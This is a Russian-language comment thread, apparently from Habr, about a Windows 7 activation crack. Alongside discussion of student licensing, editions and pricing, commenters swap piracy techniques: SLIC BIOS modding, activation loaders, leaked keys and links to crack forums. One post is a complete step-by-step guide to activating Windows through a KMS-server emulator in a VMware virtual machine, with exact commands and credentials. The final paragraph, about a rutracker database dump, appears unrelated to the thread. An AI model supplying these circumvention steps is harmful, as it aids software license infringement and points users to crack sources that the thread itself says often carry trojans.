homm
По дримспарку нет Windows 7.
mx2000
Есть по MS AA
kolpeex
Дайте мне ее нахаляву, угу.
А покуда — я и на Win2003 Server посижу.
Kastrulya
Да, поставил себе лиц. 7ку, и визуал студию 2008.
Мне вот только интересно, после того как я закончу вуз, мой акк заблочат?
Kuper
Нет. Мой не заблочили. Там в условиях при регистрации MSDNAA, кажется, это упоминалось.
Kakysha
Нет ключ не заблокируется, активация не слетит :) Но право на использование потеряется, и версия станет фактически нелецензионной. Разумеется дома у вас это никто не проверит :)
clonefuture
Вы неправы. После окончания ВУЗа можно продолжать использовать (в рамках лицензионного соглашения, в учебных, некоммерческих целях) уже установленное ПО, полученное по программе MSDN AA, однако нельзя будет производить новые установки.
ilya_compman
Ух ты, здорово, не думал даже… Вот жеж халява студенческая :)
ksenobayt
Вуз вузу рознь. Я еще на 3 курсе учился, когда нам рассказывали, что у нашего вуза есть договор с майкрософт и всем выдадут бесплатную лицензионную Вин ХР (Висты тогда еще не было) и т.д. и т.п., я уже давно универ закончить успел, но, насколько я знаю, до сих пор ни одному студенту заветного диска ни с виндовс ни со студией так и не выдали. Хотя коробку с дисками (и не одну) на кафедре я видел…
Agent_Smith
Нуэээээ.
В Тверском государственном нет, например. И в остальных ВУЗах нет, за вычетом местного политеха, который, видимо, удачно распилил бабло в своё время.
legrus
вот они — цифровые наркотики.
Xaegr
Они также подчеркнули важность использования лицензионного программного обеспечения.

Особенно актуально в конце поста :)

А ChewWGA 0.9 уже с месяц люди пользуются…
compozer
Особенно актуальна эта тема в свете того, что Шухарт в своём твитере сегодня начал розыгрыш лицензии на Win7. )) Пути Хабра неисповедимы. )))
Xaegr
так он лицензирован по GPL =)))) вот люди и пользуются им! все в порядке!
Zyava
Ну, сделают очередной патчик, как в случае со старым способом, думаю что много времени это не займет, другое дело что пока Microsoft раскочегарится, таких пиратских систем будет очень много. Потом выйдут всякие RemoveWAT v2.0 и Chew-WGA v2.0 и все начнется сначала.
ksenobayt
Это жизнь.
4twilight
Вы наверное из тех кто на лепре за минус комменту в карму срёт? :)
ruzhovt
да, логичность Ваших выводов зашкаливает.
ArMikael
ну «30-дневный счётчик периода активации может продолжать видимость работы» нельзя назвать окончательным взломом наверное.
Kastrulya
Висту так же сломали в давние времена, но MS быстро выпустили патч.
Вшивание SLIC таблицы в биос или ее эмуляция — куда лучший способ активации (покупка, она, конечно, вообще вне конкуренции ;) ), т.к. не изменяет никаких системных файлов и ось впоследствии считает себя полностью активированной.
spamer80
А на форуме forum.ru-board.com/ есть уже очень много готовых модифицированных и проверенных биосов со вшитыми SLIC таблицами.

Но лицензионный софт все же лучше :)
ITdirector
На вашем ru-board черт ногу сломит… может вы поделитесь секретами поиска?
0xE0
Дабы не заморачиваться поиском, лезем в раздел «Андеграунд» и видим самые первые «горячие» темы обсуждения. Там и будут темы по активации с прошивкой/без биоса.
0xE0
там нет поиска как такового, там есть только фильтр в пределах раздела.
corristo
на сайте forum.ru-board.com поиск есть!
(Справа вверху -> 2-я строка ссылок -> первый пункт (выделен жирным))
0xE0
о :-) сделали google-driven…
в своё время там был отключенный нативный. спасибо за уточнение :-)
corristo
Тем не меннее гугловский краулер в андерграунд не пускают, и эта часть форума не проиндексирована (во всяком случае мне такое помнится).
Тему можно найти фильтром по названию, а в теме кликаем «версия для печати» и ищем то что нужно на большущей простыне браузерным поиском.
0xE0
Неправда ваша, последние полгода темы из андерграунда спокойно себе присутствовали в выдаче.
0xE0
Может быть, я ж говорю что на моей памяти так было.
myagi
Я нашёл что нужно за 1 минуту и не нужно никаких версий для печати, достаточно посмотреть первый пост нужной темы :).

И да, эта новость про какие-то новые активаторы, да ещё и кривые, вообще ниочём. Давно есть активаторы, которые работают как часы, и не слетают.
lashtal
Более полный список готовых биосов находится на mydigitallife.info
Конкретно, в этой теме: forums.mydigitallife.info/showthread.php?t=7500
ruzhovt
А еще можно использовать лоадер и и биос не трогать, вот даже прямая ссылка на тему: forum.ru-board.com/topic.cgi?forum=55&bm=1&topic=9901
ADeptice
Да, бля, они бы сделали человеческие условия для покупки в России — не вопрос — сразу бы купил. А не как сейчас…
shifty
Да, но через полгода необходима повторная активация; кроме того, работает она только для enterprise версий.
zerkms
будем деактивировать этот запрет, ставить обновления и снова активировать запрет… пока с очередным обновлением не поменяют механизм, потом найдут опять решение и по кругу…
shifty
после обновления запрет перестанет работать, я уверен.
zerkms
Надо ставить запрет на обновления, снимающие запрет
superhabra
а если не ставить обновления, та зачем вообще лицензия или её эмуляция?
ksenobayt
а кто сказал, что эмулятор — это вредоносная программа?
superhabra
ключей в интернете сколько угодно, но они не проходят проверку… а с патченным биосом вполне… читайте refakki.habrahabr.ru/blog/72798/
Perez
Установить сертификат можете и сами, кто вам не даёт. Активатор за вас всё делает, такие же подручные средства
lashtal
Думал тоже пропатчить BIOS, но… Попробовал смеха ради сделать активацию по телефону с одним из ключей, на которые наткнулся в интернете — в первый раз не прокатило, хотели соединить с оператором, а вот с другим ключиком, к моему невероятному удивлению, всё прекрасно активировалось! =)) Так BIOS пока и не стал трогать — если ключик вдруг забанят (хотя их вроде обычно не банят — все обновления из этой серии направлены на блокировку активаторов), то тогда уж и буду думать о модификации мамкиной прошивки. Но вообще, само собой, лучше купить лицензию! ;)
Zyava
а 30 дневный триал, который можно сбрасывать, отменили?
AstonMartin
Сбрасывать можно только 3 раза, что в итоге дает 120 дней.
А по телефону активация пока не забанят ключ, что маловероятно.
lashtal
согласен что 3х разовый сброс это временная мера, пока не появилось достаточно ключиков для пользования. имхо, лучше пользоваться им и обнулять счетчик сбросов через 120 дней, чем патчить загрузчики, блокировать модули и перешивать биосы тем самым мешая работе ОС :)
valmont
Ограничение по кол-ву сбросов и дней для Windows7/Vista снято в Windows 7 Loader eXtreme Edition v3 (SAFE) 117. проверил сам — работает.
vlsergey
вы такой ИТ директор… :)
ps с такими подходами, думаю, не на долго
Maxmyd
А что Вам не нравится в подходе?

На домашней машине у меня нет никакой необходимости в обновлениях — несколько лет без переустановки все отлично работает.
Не вижу никакого смысла заморачиваться, тратить свое время и искать другие способы решения.

PS полагаю очевидным тот факт, что использование взломанных ОС для юридических лиц в данной теме никто не обсуждает.
Tolsi
И после очередного обновления придется искать новые активаторы.
Лучше уж прошить БИОС, ну или лицензию купить.
Tolsi
> Они также подчеркнули важность использования лицензионного программного обеспечения.

больше всего убило:D
Tolsi
Они абсолютно правы, важно использовать лицензионное программное обеспечение. GPL — лицензионное.
Tolsi
А я вот бы купил лицензию! Но реально дорого стоит семерка, особенно ultimate, а самую простую брать не хочется…
Akr0ZiS
Зачем вам Ultimate? Кроме него и самых простых (Starter и Home Basic) есть ещё «средние» варианты: Home Premium (которая, думаю, подойдёт большинству пользователей, а стоит в 2 раза дешевле Ultimate) и Professional.
valmont
Professional — минимум для человека который РАБОТАЕТ на компьютере, а нетолько лазит в инете, хотя та же поддержка нескольких языков интерфейса реализована только в Ultimate.

Что делать если кто-то из семьи не понимает английского языка?
Пользоваться русской версией?
Нет уж извольте :)
Henge
а как же enterprise, в ней тоже есть поддержка нескольких языков…
ksenobayt
А думать пробовали перед тем как писать? :)

Человек хочте купить лицензию домой, какой адекватный челоеыек КУПИТ лицензию на Enterprise версию винды домой?
valmont
да, извините, над этим не подумал.
valmont
вообще знаете, когда я говорил про enterprise, я имел ввиду то, что когда вы писали про ultimate, вы сказали, что ТОЛЬКО в нем реализована поддержка нескольких языков, я просто хотел вас дополнить, сказав, что не только ultimate обладает такой функцией.
ITdirector
Enterprise просто так купить невозможно.
Нужно купить Алтимэйт с опцией SA и тогда Алтимэйт можно уже апгрэйдить до Энтерпрайз
Tolsi
она только для корпоративных клиентов. Просто так вы ее не получите.
ITdirector
Кривизна исходной локализации — раз.
Я, например, не особо люблю исправлять косяки наложения текстур, имеющиеся сугубо в русской версии.

Да и простите, конечно, но я всю жизнь, с третьего класса начальной школы, сидел на англоязычных дистрибутивах, и мне совершенно не хочется гадать, как там локализатор извратился, и обозвал совершенно очевидную вещь совершенно невероятным образом.
Hello1
Во-первых английский интерфейс это оригинал. Т.е. все остальные содержат мелкие или большие неточности перевода, а так же компромиссные места — если взять русский язык, то в нем средняя длинна слова больше чем в английском, а значит в некоторых местах слова будут сокращены или заменены менее удачными аналогами.

Во-вторых английский интерфейс имеет самую большую базу пользователей — стало быть шансы получить помощь с случае затруднений максимальны.

В третьих в системе все равно останется множество не переведенных вещей.

Контраргументом конечно будет «понятность», но если человеку уже понятен английский интерфейс, то никаких доводов «за» не остается.
Dialog
Но ведь китайский интерфейс имеет большую базу пользователей.
Darkened
Но не является первоочередным при тестировании.

Наиболее тщательно вылизывается именно английский вариант интерфейса. Посему им и пользуюсь уже десять лет кряду. Кириллица же в интерфейсе оси, не суть важно какой, ничего, кроме недоумения и чего-то похожего на отвращение не вызывает.
panandy
слово «длина» у вас слишком длинное.
EvgeniyKirov
В-четвертых, можно добавить очень забавные сообщения кракозябрами на синем экране, в некоторых случаях. Остается только сказать спасибо переводчикам, за то что хотя бы имена файлов оставили как есть…
ruzhovt
Как минимум, размер всплывающего меню «Пуск» в русской локализации уже в полтора раза шире английской)
vvsh
home premium для работы и домашних нужд вполне хватает.
ruzhovt
Можно скачать русский language pack
h_tp://download.windowsupdate.com/msdownload/update/software/updt/2009/08/windows6.1-kb972813-x86-ru-ru_f4df4bcb8d3194323f17a086a17f46dd0c9c492a.exe

Список доступных
h_tp://www.mydigitallife.info/2009/08/29/download-windows-7-mui-language-packs-official-32-bit-and-64-bit-direct-download-links/
vvsh
на любую версию можно поставить дополнительный любой язык, да это не нажатием одной кнопки происходит как в ультимейте, а с небольшими манипуляциями в консоли, но работает и хватает страждующим
vvsh
В Pro нету пасьянсов по умолчанию, кстати.
cyberaxe
Этот режим доступен начиная с Professional версии (и маловероятно что он действительно необходим).
NeX
Хорошо, ошибся версией. Но нужно заметить что цена Ultimate и Professional различается очень незначительно.
А насчет необходимости — у меня например есть штуки 4 приложения которые ставят свои драйвера, и под висту/вин7 их просто нет.
Yizahi
А зачем вам ultimate? Нужен доступ в домен(странно, по идее в компании должны быть стандарты и лицензии (в идеале :)) на устанавливаемые ОСи) и доп. возможности по шифорванию данных?
Имхо: для дома хватит и самой простой версии с аэро, а для всего остального buisness.

Ultimate больше для тех у кого строгие корпоративные стандарты по сохранению конфиденциальности рабочих данных
ksenobayt
> Представители Microsoft уже сообщили, что они в курсе проблемы и работают над ней.
Вот интересно, оно им надо? Не думаю, что подобная борьба с пиратами имеет большой смысл: тот, кто хочет купить Windows, купит Windows, а кто нет — способы поломать очередную защиту рано или поздно найдутся.
Yizahi
Надо-надо.
Бизнес всё равно купит, халявщики всё равно сломают.
Но есть ещё огромная прослойка простых пользователей, которые могут купить, а могут и сломать. И вот от сложности процесса взлома и будет зависеть, купят они или взломают.
Nesp
Основной бизнес Майкрософта — энтерпрайз и оем, а не коробочки. Там товарищи хакеры не мешают. Зато помогают популяризировать ось. Так что здесь сплошной профит и видимость борьбы.
ksenobayt
+1 Лучше бы вместо бодания с пиратами поработали над своей ценовой политикой (к нашей стране относится в большей мере). Желание купить семерку реально есть. Но платить такую цену… Как-то перед людьми стыдно )
tarepanda
Предпочитаю считать что использую семерку вместо OEM версии Vista, предустановленной на мой ноуте )
Хотя с Вами я тоже в целом согласен, т.к. любой труд действительно должен быть оплачен.
self
Бери минимальную наценку и живи с нее, зачем обязательно надо заработать не 5 и не 10 миллиардов на системе, а все 25?
nightday
А это, батенька, и есть жадность, которая людей губит )
zerkms
О!
Прожиточный минимум в среднем по России — 5497 рублей в месяц. ( www.gks.ru/gis/tables/UROV-6.htm )
Готовы вы работать за такую зарплату? Ну, скажем, с минимальной наценкой 500 рублей, на интернет :)
smartov
Вы хотите сказать, что владельцы Microsoft влачили бы жалкое существование если бы снизили цену на свои продукты? С теми ценами, что у них до сих пор были и есть, они вообще то стали богатейшими людьми в мире.
RenegadeMS
Нет.
gunya
аккаунт похоронен.
Vile
ещё не всё потеряно! :)
CLR
вообще правильно они говорят, лучше использовать лицензионное ПО, так как
1) не надо лазить по инету и искать ключ, который подойдет
2) есть нормальная тех. поддержка, которая поможет решить любую проблему.

у мя лицензия, так я и рад.
Vile
Умник, а ты хоть раз в техподдержку майкрософта писал, проблему решил? ;)
Mobby
Конечно писал, когда были проблемы создание домашней сети между win 7 и win xp, мне помогли.
yozheg
Что и говорит о кривизне рук ваших, гм, человеков.

Если роутер с DHCP — пропустить дальнейшее. Если его нет — ручками в св-вах подключения на обоих машинах задать айпишники.
На семёрке ручками втыкается обнаружение других машин в сети в Network Center, на ХР автообнаружение уже включено. Делаете одинаковые рабочие группы на машинах, ура, все работает.

Я как-то даже больше напрягся, описывая операции вербально, нежели вспоминая их. У нормального человека они уже до автоматизма должны быть доведены.
EvgeniyKirov
у меня до автоматизма, но я не согласен с предпосылкой, что нормальный человек должен это знать.
Goodkat
Это элементарный, очень-очень базовый уровень грамотности — кроссовым кабелем соединять две машины. Такое должна уметь даже школота в седьмом классе, если, конечно, ей не интересна сугубо LA2.

Естественно, от каждого, кто взял в свои руки клавиатуру, не требуется разбираться в том, как сделать дисковый массив с зеркалированием, или уметь собирать водяное охлаждение. Но такие простые вещи, на мой взгляд, человек должен уметь делать, если он хочет от компьютера больше, чем пасьянсы на ночь глядя раскладывать.
al_bozo
Вы кого имеете в виду? Если админов, то я пожалуй соглашусь — они с бодуна и с закрытыми глазами должны уметь обжать кабель кросс-овером. Но по отношению к остальным, это чистой воды снобизм.
DarthRaven
Вы меня неправильно поняли. Я не предлагаю делать это юзеру — это можно сделать в магазине: купить витуху, и попросить обжать кроссом на месте.

Я же имел ввиду саму настройку осей. Не более того.
kemko
на самом деле, я считаю, что это обязанность десктопной оси быть простой и удобной для нормального человека, чтобы у него не возникало многочасового секса из-за простых вещей типа кириллицы в имени компьютера.

а детей в школе надо учить тому, что форматирование пробелами — это неграмотно, что интернет — не значок с синей буквой «E», а нечто бо́льшее.
DarthRaven
Удобность и простота — это хорошо.
Но это не отменяет необходимости наличия мозга у человека. Человек, который купил компьютер, должен быть готов к тому, что проблемы возникнут неизбежно.

И тут даже принципиальна не специфика проблем, как отношение человека к оным. Если он будет готов поправить две строки в конфиге того же RocketDock, чтобы тот иконки выводил по-человечески, то рано или поздно, он будет готов сделать и что-то еще, уже посложнее.

Если же человек банально не хочет ни в чем разбираться, а хочет нечто наподобие «вынь и положь» — его обучать бессмысленно. И объяснять бессмысленно. И никакая самая удобная ось тут не поможет.
HEm
я, конечно, идеалист, но считаю, что в школе должны учить детей не тупо повторять заученные действия, а думать логически.

а задача программистов (а точнее дизайнеров интерфейсов) состоит в том, чтобы настроить операционку мог любой человек, немного умеющий логически мыслить.
DarthRaven
Первое, к сожалению, мечты.
Вы прекрасно осведомлены, что б0льшая часть преподавателей пропагандирует шаблонный стиль мышления и решения различных задач.

Меня, например, в десятом классе едва не выкинули из школы из-за проблем с алгеброй: преподавателю просто не нравилось, что решал задачи практически в уме, оставляя минимум необходимой информации в тетради, которой, тем не менее, нормальному человеку для того, чтоб удостовериться, что задача не списана, вполне должно. В итоге, теперь, в универе, с алгеброй (слава Богу, ее было лишь два семестра), проблем у меня не было; гении же, некогда поощренные моим школьным учителем, уже на тридцать процентов вылетели из своих альма-матер.

Касаемо второго же…
Слишком простой интерфейс тоже неприемлим — всегда нужно оставлять возможно колупания руками, если пользователь того хочет, и осознает, что он может все к чертям собачьим угрохать. Бишь интерфейс должен быть одновременно простым, удобным, красивым, и при этом — функциональным. Я ни одного примера, кроме MacOS, который хоть как-то приблизился к этой задаче, вспомнить не могу.
Goodkat
А они есть, с сравнимой доле рынка, чтобы имело смысл?
HEm
я писал в техподдержку, мне ответили, проблему решили, правда пробелма была с установкой VS Standard 2008
Goodkat
проверено и подтверждено мною.
kaiART
не понимаю, почему если человек купил лицензию винды, потом обратился в тех. поддержку, ему помогли решить его проблемы и он рад, всем это не нравится, и они сразу берутся минусовать его комментарии?
kaiART
Элементарно, Уотсvvsh: вы получили эти минусы скорее всего в промежуток, когда уже сказали «есть нормальная тех. поддержка, которая поможет решить любую проблему», но не пояснили, что вы это не сами придумали, а был целый один случай реального обращения.

Впрочем, кстати, один удачный случай еще не повод считать подобный исход тенденцией.
ruzhovt
извините, не сказал, были еще обращения, но они были по мелочи.
Smerig
да, это было моей ошибкой.
vvsh
Ну да, тут видимо принято считать тенденцией поливание грязью поддержки ни разу ей даже не воспользовавшись. Хотя да, это заметная тенденция, и не только в сфере ИТ.
ruzhovt
Спасибо за ссылки =)
vvsh
Топик зла… Агенты Микрософта на Хабре бдят? )

По делу — да бесполезно всё это. Ни одна система защиты не выдержит качественной хакерской атаки. Если что-то может быть взломано, оно будет взломано, рипнуто, получено бесплатно, расшифровано и так далее. Есть исключения, это вещи, которые никому нахрен не сдались, но «Семёрка» к ним не относится.
Этакий посыл работникам Микрософта: народ, не надо утрировать. Копирасты уже доигрались до того, что рядовому юзеру иногда проще скачать пиратку, чем продираться сквозь дебри систем защиты. Не уподобляйтесь. Лучше потерять часть денег на «пиратах», но сохранить честных пользователей, которые могут не оценить стараний ОСи оставаться лицензионной.
ruzhovt
PS 3 до сих пор не взломана. PS 3 никому не сдалась?
vvsh
Мне лично не сдалась. Подозреваю, что большинству тех, кто мог бы это сделать — тоже.
Весь вопрос в рациональности траты большого количества сил, времени и денег, ибо защита в приставках нового поколения действительно нехилая. Но не неуязвимая.
ksenobayt
>>это вещи, которые никому нахрен не сдались
>Мне лично не сдалась
Ну дык тогда отучаемся говорить за всех.

>Весь вопрос в рациональности траты большого количества сил, времени и денег, ибо защита в приставках нового поколения действительно нехилая.
Это верно. Пока дешевле покупать лиценз на ПС3 чем ломать ее. Для XBox 360 было проще сломать. Но товарищи за это поплатились банами на Live!..
tarepanda
«Нахрен не сдались» не обязательно подразумевает полную бессмысленность данного айтема. Иногда это означает, что айтем имеет ценность, но взлом оного никому не нужен. В случае с PS3 имеем именно второе. Это всё равно что… ну… «хакать» Порш, чтобы устанавливать на него детали от Запорожца. Можно, но обойдётся в круглую сумму, а смысла ноль.
ksenobayt
Согласен, имею то же самое мнение. Усложнение системы защиты только подстегивает хакеров вскрывать ее, а пользователей отвращает от системы. Кто хочет ломать систему защиты, не желая платить за ОС — тот ее сломает.
То же самое с Старфорс, и т.п. для игр.
Для защиты правообладателя существует авторское право, защиты в системах излишни.
self
Некорректное сравнение. «Сломал» старфорс — получил с какой-то вероятностью возможность играть бесплатно во все игры, использующие ту же версию защиты. Так же есть вероятность что найденный метод взлома подойдет к некоторым предыдущим, а так же следующим версиям, до момента пока компания не узнает о конкретно этом методе взлома и не закроет найденные дыры.

А MS, Sony и многие другие фирмы предпочли в некоторых своих разработках не лицензировать чьи-то сторонние методы защиты, а разработать свои. Следовательно, «взломав» винду получишь профит при использовании винды, взломал PS3 — получишь профит только при использовании PS3. Соответственно, если конкретная платформа с защитой такого вида «взломщику» не интересна, то и стимулов ее расковыривать меньше.
ksenobayt
Нуда поэтому они никогда слишком не заморачивались на защите от пиратов.
tarepanda
Давайте не переходить на личности, а то я сейчас тоже начну тыкать вас носом в то, чего вы не достигли в свои тридцать с гаком — если информация верна ) Раз уж написали о себе «пишу код под консоли», а не «ворочаю миллионами».

Микрософт не слишком-то борется с пиратством. Почему? Да потому что на её продукцию тем самым подсаживаются люди, которые затем купят лицензию. Рано или поздно, но купят. Это фича такая. И она работает. И это не мной выдумано, а тем самым «Билли», которому виднее. Хотя, скорее всего, не им а маркетинговым отделом.

Я же говорил о том, что прослеживается тенденция ужесточения антипиратской защиты, что может повредить честным юзерам, никак не повлияв на пиратов. Что для Микрософт есть абсолютное зло, как и для её поклонников, учитывая вышесказанное.
ksenobayt
Я работаю for fun, а не за деньги. «Художник должен быть голодным»

>> Я же говорил о том, что прослеживается тенденция ужесточения антипиратской защиты
Значит в этом имеется смысл и видят его те, кто считает деньги.
tarepanda
>> Я работаю for fun, а не за деньги.
Да я, в общем-то, тоже. Ибо за деньги заниматься в нашей стране тем, что я считаю основной профессией, нереально.

>> Значит в этом имеется смысл и видят его те, кто считает деньги.
Скорее это общая тенденция, от которой очень тяжело уклониться. Борьба крупных компаний против пиратов и всё такое. Заносит даже тех, кого всегда считали «друзьями народа», не говоря уж о корпорации зла.
ksenobayt
Не помню точно, но кто-то из руководителей Микрософта сказал: «Если уж воруют, то пусть все равно лучше воруют наше ПО».
kolpeex
Сначала воруют, а потом и купят. В этом прослеживаются следы вирусного маркетинга, только куда более тонкого, чем обычно. И нет, я не пытаюсь отбирать хлеб у К.О. ))
«Там» не дураки сидят. Я просто беспокоюсь, чтобы копирастские заморочки их таки не накрыли… Это случается даже с самыми умными людьми, время от времени. А результат может быть катастрофичен.
vadimbelyaev
Непонятно, в чем заключается «работа над проблемой» специалистов из MS. Если пользователь уже установил и пропатчил семёрку и отключил обновления, то они в принципе ничем не смогут ему навредить.
vvsh
все подобные методы легко лечатся очередными патчами от МС. И только метод с биосом никак майкрософтом не лечится и видимо вылечен не будет.
И вообще начиная с win7 я перешел на лицензию потому что искать перешивать патченый биос надоело.
Denisio
А в макбуках встроенный калькулятор отменили? Обычный ноут + Win 7 (OEM) много меньше стоит чем MacBook. Обычный ноут + Win7FromVista Update стоит все равно меньше, чем MacBook + Снежный барс.
tarepanda
мдя. так вы просто экономить не умеете ;)
shock_one
Кроме того, за 30 евро получается Snow Leopard Upgrade — то есть, сначала придётся обычного поставить, а потом с диска обновиться.)

littlerich, под MacOS платных программ отнюдь не меньше, более того, MS Office, например, стоит дороже, чем под платформу win.
vvsh
Вы так реагируете, будто этот комментарий не попытка выпендриться тем что у человека макбук и он побывал в Европе.
Smerig
У вас не было ни того, ни другого?
lumian
Желания повыпендриваться? Нет, не было.
vvsh
Обычного ставить необязательно.
MS Office стоит столько же — Home & Student Edition, при этом включает в себя Entourage, тогда как виндовая версия не включает Outlook.
vvsh
А ссылку не дадите? Я видел только за 5к и сильно негодовал по этому поводу.)
vvsh
Под mac 150$, под win — 80$, о чём я, собственно, и говорил.)
vvsh
Только что скидки сделали, кстати. Еще час назад было одинаково.
Perez
По поводу upgrade-диска почитал, был неправ. Просто одногруппник купил диск и не смог с нуля поставить, пришлось через обычный Леопард делать.)
AzeriFire
Поздравляю! Это самое безумное описание причин перехода на Мак что я встречал в своей жизни.
JadeSpirit
Поразительно. Вы опоздали всего на месяц.

refakki.habrahabr.ru/blog/72798/
uglock
Слава хакерам. Настоящим.
JadeSpirit
воровать то всё равно нехорошо.
uglock
как глумливо, покромсали средствами самих же форточек
JadeSpirit
А может в саппорт лучше обратиться? Я бы всех там на уши поставил. Раз уж заплатил за систему, то будьте добры предоставить мне полный ее функционал.
Если это конечно не проблема с Вашей стороны…
InneR
Лениво же. Да и виндой редко пользуюсь. Переживу.
kemko
а по телефону?
beeruser
Нет уж, лучше сломаю
Gorthauer87
зря, по телефону очень быстро все получается активировать
и если уж ломать, то как Вы решаете проблему обновлений? :)
JadeSpirit
У меня телефона нет же. Да и обновления не критичны, песочница же.
beeruser
Не стоит ломать, так как иногда возникают проблемы с лицензией
JadeSpirit
на руборде применение этих деактиваторов не рекомендуется к применению.
forum.ru-board.com/topic.cgi?forum=55&bm=1&topic=9901
Alex_XS
Тогда уж «дождались».
JadeSpirit
вы так говорите, как будто это что-то плохое
xelaskac
тогда уж «дожили» :)
paratrooper5730
а у меня Бета кончится — пойду да куплю
имхо гораздо больше удовольствия получу чем каждый раз думать «а вот у меня это на заработает так как не пройду проверку на сайте», это ещё не говоря о том что половина кряков с троянами идёт.
grokinn
У семерки с кряком все достаточно хорошо, кстати. Один текстовый файл + бинарные файлы сликов + редактор биоса + прошивальщик от производителя. Все делается самим и без кряков с кейгенами.
littlerich
охты, ещё и биос… а если так пойдёт и дальше — в восьмёрке не придётся отвёрткой орудовать?

шучу конечно, я вас понял и где-то даже согласен, но видимо пришло понимание в чём плюс лицензии.
uglock
Я несколькими ветками выше говорил уже, но повторюсь — перепрошивка физического BIOS — это крайне экстремальный вариант. В большинстве случае софтверного лоадера вполне хватает.
littlerich
Какое счастье =)
Foret
А как же взлом без модификации BIOS, но тоже, чтобы Wind'а думала, что она OEM версия для производителей железа ?? С ним что не так?

P.S. Если где-то тут уже обсуждалось — ткните. Комментов реально много :) Поиск по «ключевым словам» результата не дал :)))
Habitat
Всё так с закосом под ОЕМ, у меня всё пока работает и есть не просит, включены все официальные автообновлялки. Винду не купил пока, ибо нет её в наших местных магазинах.
fanex
Вынужден пока использовать пиратки, так как попросту денег порой не хватает даже на пиво в пятницу. Когда будет достойная работа, со стабильной зарплатой — обязательно выделю несколько килорублей на лицензионный Windows и Касперский…
littlerich
не сказал бы что новость оперативная.
fanex
а вот мой первый опыт активации «Microsoft Windows 7 Корпоративная VL x86 Rus с MSDN [2009г.]»
***
Данный способ активации, как и всегда, работает на любом железе, и не вностит в ОС ни каких изменений (в отличии от кряков, стоперов и пр.).
Тем у кого есть знакомые с online KMS, либо знающие сайт, с запущенным online KMS, для активации достаточно узнать данные о сервере и выполнить только пункт 12 из этой инструкции.

Для активации требуется VMWare Player (Workstation тоже подойдет).

Внимание: цифры написанные красным шрифтом, вводить именно такие, независимо от сетевых настроек.

Пункты 1-5 делаются в реальной машине.

1.) Разархивировать образ KMS_7-AE (пароль ru-board) в отдельную папку.
2.) Установить VMWare Player, затем перезагрузить компьютер.
3.) В трее* щелкнуть по значку сети и открыть «Центр управления сетями и общим доступом».
Слева выбрать пункт «Изменение параметров адаптера».
Найти адаптер, который использует для подключения «VMware Virtual Ethernet Adapter for VMnet1»
(Для поиска правый щелчок мыши по значку подключения, затем «Свойства» и на вкладке «Сеть» посмотреть «Подключение через»).
На найденном подключении в его свойствах выделить пункт «Протокол Интернета версии 4 TCP/IP» и щелкнуть на кнопку «Свойства».
Записать IP-адрес (Будет иметь вид 192.168.ххх.1, (где ххх — ваш номер сети).
Закрыть свойства TCP/IP и свойства подключения.
4.) С рабочего стола запускаем VMWare Player, раскрываем верхнюю менюшку VMware Player, идем в пункт Preferences, снимаем галочку с пункта «Check the web for updates on startup», переключаем радиокнопку в состояние «Power off the virtual machine» и затем нажимаем Ок.
5.) В плеере выбираем пункт «Open», указываем папку с нашей вирт. машиной и выбираем файл K7-E, нажимаем «Открыть».
Вирт. машина начинает загружаться (в последствии вирт. машина уже будет присутствовать в списке «Recent Virtual Machines»).
Пока она загружается, в строке заголовка VMware player выбираем пункт «Devices» и затем в раскрывающемся списке «Host-only».

Пункты с 6 по 10 (кроме п.9) делаются в виртуальной машине.

6.) В поле для ввода пароля вводим необходимый пароль (логин: K_7 пароль: Rat212) и ждем полной загрузки машины. На предложение о перезагрузке отказываемся.
7.) В трее* щелкнуть по значку сети и открыть «Центр управления сетями и общим доступом».
а) Слева выбираем пункт «Брандмауэр Windows», затем также слева «Включение и отключение брандмауэра Windows».
Во вновь открывшемся окне изменяем оба параметра на «Отключить брандмауэр Windows» и нажимаем Ок. Возвращаемся в «Центр управления сетями и общим доступом».
б) Слева выбрать пункт «Изменение параметров адаптера». На подключении Lan щелкнуть правой кнопкой мыши и выбрать пункт «Свойства», на закладке «Сеть» выделить пункт «Протокол Интернета версии 4 TCP/IP» и щелкнуть на кнопку «Свойства». Удалить все написанные данные и ввести следующие:
IP-адрес: 192.168.ххх.2 (xxx — адрес VMnet1 из п.3 в реальной машине).
Маска подсети: 255.255.255.0
Основно шлюз: 192.168.ххх.1 (xxx — адрес VMnet1 из п.3 в реальной машине)
Нажимаем Ок и Закрыть.
8.) Немного подумав, Windows 7 уведомит, что нашел сеть и откроет окно «Настройка сетевого размещения».
Выберите «Сеть предприятия» и затем Ок.
Все окна можно закрыть.
9.) В реальной Windows 7 нажимаем Пуск, в окне поиска вводим cmd, на найденной программе правый щелчок и «Запуск от имени администратора».
В командную строку вводим ping 192.168.ххх.2 (xxx — адрес VMnet1 из п.3 в реальной машине), нажимаем Enter.
Если в ответ мы видим что-то типа этой записи: Ответ от 192.168.ххх.2: число байт=32 время=2мс TTL=128, значит сетевое взаимодействие настроено правильно.

Подготовка сервера KMS.

10.) Запускаем с рабочего стола KMSManager.
Выбираем текущий год и смотрим «Список доступных состояний».
Дата состояния должна быть ближайшей прошедшей относительно текущей даты
(Если нет за текущий год, выбирайте предыдущий год).
Нажимаем Ок, затем еще раз Ок и ждем, пока отработает переход по времени.
Переходим в реальную машину (нашу неактивированную Windows 7)
11.) В трее* щелкаем один раз на времени и устанавливаем такую же дату и время, как в виртуальной машине (не забываем про часовой пояс).
12.) Переходим в сеанс командной строки (открытый в п. 9) либо заново запускаем сеанс командной строки cmd от имени администратора.
Вводим последовательно следующие команды (дожидаясь ответа от Windows после каждой введенной):
slmgr.vbs -skms 192.168.xxx.2:1688 (xxx — адрес VMnet1 из п.3 в реальной машине)
slmgr.vbs -ato
13.) После ввода последней команды Windows напишет, что активация проведена успешно
14.) Возвращаем дату и время в реальной машине на текущие. Виртуальную машину выключаем.
15.) В командной строке вводим slmgr.vbs -xpr, смотрим дату и время истечения лицензии и отмечаем красным этот день в календаре. Командную строку закрываем.

За KMS_7-AE выражаем благодарности на forum.ru-board.com

сейчас юзаю windows 7 максимальная (активированная)

ждем как Microsoft решит эту проблему :)
Vile
Вчера скачались очередные обновления от MS и активация опять слетела) Уже третья победа над крекерами. Интересно, хоть пару дней продержится...))


В контексте последних законов, событий и тенденций как никогда очевидна ценность рутрекера как базы данных различного контента, а не как конкретного ресурса. К сожалению все мои призывы к администрации рутрекера предоставить общедоступный, полный, удобный дамп их базы наткнулся на полное непонимание с их стороны. Выкладывать нечто, что они называют зашифрованной «базой» — я не считаю решением проблемы по причинам, изложенным в вышеприведенных ветках обсуждения и продублированным ниже.

